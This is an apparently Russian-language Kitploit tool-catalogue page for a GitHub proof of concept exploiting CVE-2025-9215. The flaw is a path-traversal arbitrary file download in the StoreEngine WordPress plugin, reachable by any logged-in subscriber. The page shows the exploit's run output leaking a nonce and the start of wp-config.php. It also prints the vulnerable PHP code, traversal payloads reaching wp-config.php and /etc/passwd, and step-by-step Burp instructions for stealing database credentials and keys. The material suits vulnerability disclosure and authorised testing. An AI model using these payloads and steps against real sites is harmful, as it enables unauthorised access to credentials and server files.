Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-9215 — StoreEngine – Мощный плагин электронной коммерции для WordPress для платежей, членских подписок, партнерских программ, продаж и многого другого <= 1.4.0 - Аутентифицированное (Подписчик+) произвольное скачивание файла | Kitploit
Инструменты/GitHubGitHub/d0n601/cve-2025-9215
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииВеб-безопасностьТестирование на Проникновение
GitHubd0n601/cve-2025-9215

CVE-2025-9215

StoreEngine – Мощный плагин электронной коммерции для WordPress для платежей, членских подписок, партнерских программ, продаж и многого другого <= 1.4.0 - Аутентифицированное (Подписчик+) произвольное скачивание файла

Репозиторий
1 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

StoreEngine — мощный плагин электронной коммерции для WordPress для платежей, членств, партнёрских программ, продаж и многого другого <= 1.4.0 — Аутентифицированная (Подписчик+) произвольная загрузка файлов

Плагин StoreEngine содержит уязвимость в функции CSV-импорта/экспорта, которая позволяет любому аутентифицированному пользователю (подписчику, автору, редактору и т.д.) загружать произвольные файлы с сервера, включая конфиденциальные системные файлы, файлы конфигурации WordPress и исходный код плагина. Уязвимость возникает из-за того, что конечная точка storeengine_csv/file_download не содержит надлежащей санации пути и полагается только на проверку nonce для безопасности, в то время как storeengine_nonce раскрывается ВСЕМ пользователям фронтенда через JavaScript плагина. Примечание: Для эксплуатации этой уязвимости требуется, чтобы администратор включил дополнение CSV-импорт/экспорт. После включения эта комбинация позволяет любому аутентифицированному пользователю извлечь nonce со страниц фронтенда и использовать его для загрузки любого файла на сервере с помощью атак обхода пути, фактически предоставляя пользователям с ролью подписчика и выше доступ к конфиденциальным системным и прикладным файлам.

TL;DR Эксплойты

  • Предоставлен POC CVE-2025-9215.py для демонстрации загрузки файла конфигурации WordPress пользователем с ролью подписчика через обход пути.
root@kitploit:~
 python3 ./CVE-2025-9215.py http://localhost:1337 user1 password   
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: 82cb37f678
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
The addon activation requires 'manage_options' capability (admin only).

Downloading wp-config.php via path traversal...
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...
root@kitploit:~

## Подробности  

### **Уязвимая функция загрузки файла**
**Примечание: Для эксплуатации этой уязвимости требуется, чтобы администратор включил дополнение CSV-импорт/экспорт.** Конечная точка активации дополнения (`storeengine/saved_addon_status`) требует возможности `manage_options`, что означает, что только администраторы могут включить этот функционал.

AJAX-действие `storeengine_csv/file_download` вызывает функцию `file_download()` в строке [47](https://plugins.trac.wordpress.org/browser/storeengine/trunk/addons/csv/ajax/export.php#L47) файла `/wp-content/plugins/storeengine/addons/csv/ajax/export.php`, в которой отсутствует надлежащая санация пути и которая позволяет произвольную загрузку файлов:

```php
public function file_download( array $payload ) {
    if ( ! isset( $payload['filename'] ) ) {
        wp_send_json_error( __( 'Filename is required.', 'storeengine' ) );
    }

    $filename = $payload['filename'];
    $filepath = Helper::get_upload_dir() . '/csv/' . $filename;  // <-- УЯЗВИМО ДЛЯ ОБХОДА ПУТИ!
    
    // НЕТ ПРОВЕРКИ ПРАВ — ЛЮБОЙ ПОЛЬЗОВАТЕЛЬ МОЖЕТ ЗАГРУЗИТЬ ЛЮБОЙ ФАЙЛ!
    // НЕТ САНАЦИИ ПУТИ — ПРЯМАЯ КОНКАТЕНАЦИЯ ПОЗВОЛЯЕТ АТАКИ ../!
    
    if ( ! file_exists( $filepath ) ) {
        wp_send_json_error( __( 'File not found.', 'storeengine' ) );
    }

    header( 'Content-Type: application/octet-stream' );
    header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
    readfile( $filepath );  // <-- ЧИТАЕТ И ВЫВОДИТ ЛЮБОЙ ФАЙЛ!
    exit;
}

Уязвимость формирования пути

Уязвимое формирование пути позволяет полный обход пути:

root@kitploit:~
// Helper::get_upload_dir() возвращает:
$upload = wp_upload_dir();
return $upload['basedir'] . '/storeengine_uploads';

// Таким образом, полный путь становится:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/' . $filename;

// С обходом пути это становится:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../wp-config.php'
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../../../../etc/passwd'

Уязвимость раскрытия nonce

storeengine_nonce раскрывается ВСЕМ пользователям фронтенда через JavaScript плагина. Это происходит в методе _get_script_data() в строке 279 файла /wp-content/plugins/storeengine/includes/assets.php:

root@kitploit:~
public function _get_script_data(): array {
    // ... другие данные ...
    return [
        'nonce'             => wp_create_nonce( 'wp_rest' ),
        'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Строка 279 — РАСКРЫТО ВСЕМ ПОЛЬЗОВАТЕЛЯМ
        'rest_url'          => esc_url_raw( rest_url() ),
        // ... другие данные ...
    ];
}

Затем этот nonce локализуется в JavaScript фронтенда через метод frontend_scripts() в строке 120:

root@kitploit:~
wp_localize_script(
    'storeengine-frontend-scripts',
    'StoreEngineGlobal',
    $this->get_frontend_script_data() // Вызывает _get_script_data()
);

Проверка nonce

Nonce проверяется в методе AbstractRequestHandler::check_permission() в строке 510 файла /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php:

root@kitploit:~
protected function check_permission( string $capability, bool $allow_visitors = false ) {
    if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
        return new WP_Error(/* ... */);
    }
    return true;
}

Эта комбинация позволяет любому аутентифицированному пользователю обойти защиту CSRF и загрузить любой файл на сервере, включая конфиденциальные файлы конфигурации, исходный код и потенциально системные файлы.

Ручное воспроизведение

  1. Войдите в панель администратора и перейдите к плагину StoreEngine.
  2. Перейдите в раздел CSV-экспорта (если он доступен в интерфейсе администратора).
  3. Запустите Burp Suite или аналогичный инструмент и начните перехватывать трафик.
  4. Перехватите запрос к /wp-admin/admin-ajax.php с вызовом действия storeengine_csv/file_download.
  5. Измените запрос, включив в него извлечённый nonce и полезную нагрузку обхода пути.
  6. Отправьте запрос с filename=../../../../wp-config.php, чтобы загрузить файл конфигурации WordPress.
  7. Получите доступ к конфиденциальным файлам конфигурации, включая учётные данные базы данных, ключи API и соли безопасности.
Скачать инструмент